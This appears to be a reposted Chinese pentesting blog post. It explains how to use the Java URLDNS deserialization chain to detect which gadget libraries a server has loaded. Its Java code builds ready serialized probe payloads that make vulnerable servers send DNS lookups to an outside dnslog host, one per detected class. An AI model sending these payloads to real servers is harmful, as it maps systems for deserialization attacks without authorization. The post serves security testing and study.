老链新用,利用URLDNS链探测gadget

渗透技巧 3年前 (2022) admin
1,173 0 0

在刚学java反序列化时,URLDNS以易懂,泛用,无依赖成为我们学习的第一个链,常用这个链来确认这个位置是否真的可以反序列化。当时我的文章在看到hashMap.put(url, “111”);时吐槽过——这个111当然无所谓。然而真正的高手就能把没用的东西用起来。当111为一个class时会怎么样?


上次推荐了博客之一https://gv7.me/,它的作者这次就推出了一个很有用的tips,老洞新用。

https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA

结论很简单,当这个111为一个服务器已有的类时,比如java.net.URL,就会发起dnslog请求,当这个111为一个服务器不存在的类时,比如java.net.QQQ,就不会发起dnslog请求,测试代码如下。

package test;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;

public class Urldns { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://2.1a458f6a.dns.1433.eu.org"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 1); hashMap.put(url, org.apache.commons.beanutils.BeanComparator.class); f.set(url, -1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser")); oos.writeObject(hashMap); //ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser")); //ois.readObject(); }}

当然,我们无法直接写一个不存在的类,原文为了解决serialVersionUID冲突,写了个makeClass()进行动态生成同名类,恰好也为我们解决了这个问题(依赖javassist-3.21.0-GA.jar)。

package test;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;import javassist.ClassPool;import javassist.CtClass;

public class Urldns { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://333.f9575af1.dns.1433.eu.org"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 1); //hashMap.put(url, org.apache.commons.beanutils.BeanComparator.class); hashMap.put(url, makeClass("org.apache.commons.beanutils.BeanComparator")); f.set(url, -1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser")); oos.writeObject(hashMap); //ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser")); //ois.readObject(); } public static Class makeClass(String clazzName) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass(clazzName); Class clazz = ctClass.toClass(); ctClass.defrost(); return clazz; }}

这样就不需要依赖commons-beanutils也能生成探测的payload,非常方便。

不过注意,动态生成的类也可以被反序列化,因此直接将org.apache.commons.beanutils.BeanComparator改成一个不存在的类还是能够在原环境反序列化成功,因此生成1.ser和反序列化1.ser要分开来做,最好准备两个环境。


这样我们已经具备了用URLDNS链来探测单个类的手段,可以批量生成payload让burp去跑,能否在一次反序列化的过程中探测多个类呢?

文章中提到了发现LinkedList第一个元素反序列化失败并不会导致反序列化流程停止

因此我们可以写大量hashmap,然后放进list生成一个1.ser。

根据原文中的class checklist对几个常用反序列化链稍作分析。


CommonsCollections1/3/5/6/7,需要<=3.2.1版本,常用版本3.1和3.2.2,3.2.1和3.2.2类是一样的,无法通过dnslog精确探测小版本。因此只探测3.1和3.2.x的不同。


CommonsCollections2/4,需要4.0版本,常用版本4.0和4.1,可以通过探测类名完全区分。


CommonsBeanutils,虽然无视版本,但1.7/1.8和1.9有serialVersionUID的不同,可以通过探测类名完全区分。


C3P0,和CommonsBeanutils一样有serialVersionUID的区别,可以通过探测类名完全区分。


AspectJWeaver,无需区分版本,仅探测类名即可。


package main;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.Base64;import java.util.HashMap;import java.util.LinkedList;import java.util.List;import javassist.ClassPool;import javassist.CtClass;

public class test { public static void main(String[] args) throws Exception { String dnslog = "b180e033.dns.1433.eu.org"; List<Object> list = new LinkedList<Object>(); //CommonsCollections1/3/5/6/7链,需要<=3.2.1版本,无法通过类判断这个小版本 HashMap cc31 = getURLDNSgadget("http://cc31."+dnslog, "org.apache.commons.collections.functors.ChainedTransformer"); HashMap cc32x = getURLDNSgadget("http://cc32x."+dnslog, "org.apache.commons.collections.buffer.BoundedBuffer"); list.add(cc31); list.add(cc32x); //CommonsCollections2/4链,需要4-4.0版本 HashMap cc4x = getURLDNSgadget("http://cc4x."+dnslog, "org.apache.commons.collections4.functors.ChainedTransformer"); HashMap cc41 = getURLDNSgadget("http://cc41."+dnslog, "org.apache.commons.collections4.FluentIterable"); list.add(cc4x); list.add(cc41); //CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608 HashMap cb18x = getURLDNSgadget("http://cb18x."+dnslog, "org.apache.commons.beanutils.BeanComparator"); HashMap cb19x = getURLDNSgadget("http://cb19x."+dnslog, "org.apache.commons.beanutils.BeanIntrospectionData"); list.add(cb18x); list.add(cb19x); //c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104 HashMap c3p092x = getURLDNSgadget("http://c3p092x."+dnslog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); HashMap c3p095x = getURLDNSgadget("http://c3p095x."+dnslog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource"); list.add(c3p092x); list.add(c3p095x); //AspectJWeaver,需要cc31 HashMap ajw = getURLDNSgadget("http://ajw."+dnslog, "org.aspectj.weaver.tools.cache.SimpleCache"); list.add(ajw); ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(out); os.writeObject(list); System.out.println(Base64.getEncoder().encodeToString(out.toByteArray())); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser")); oos.writeObject(list); //ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser")); //ois.readObject(); } public static HashMap getURLDNSgadget(String urls, String clazzName) throws Exception{ HashMap hashMap = new HashMap(); URL url = new URL(urls); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 0); hashMap.put(url, makeClass(clazzName)); f.set(url, -1); return hashMap; } public static Class makeClass(String clazzName) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass(clazzName); Class clazz = ctClass.toClass(); ctClass.defrost(); return clazz; }}

在一个测试环境反序列化效果如下。

老链新用,利用URLDNS链探测gadget


其他常用链,比如FileUpload1,Jdk7u21,JRE8u20,以及对于Becl,JNDI限制的这些探测,就涉及JDK版本的探测了,需要找出JDK各个大小版本类的变化,比较繁琐。



原文始发于微信公众号(珂技知识分享):老链新用,利用URLDNS链探测gadget

版权声明:admin 发表于 2022年1月6日 上午9:29。
转载请注明:老链新用,利用URLDNS链探测gadget | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...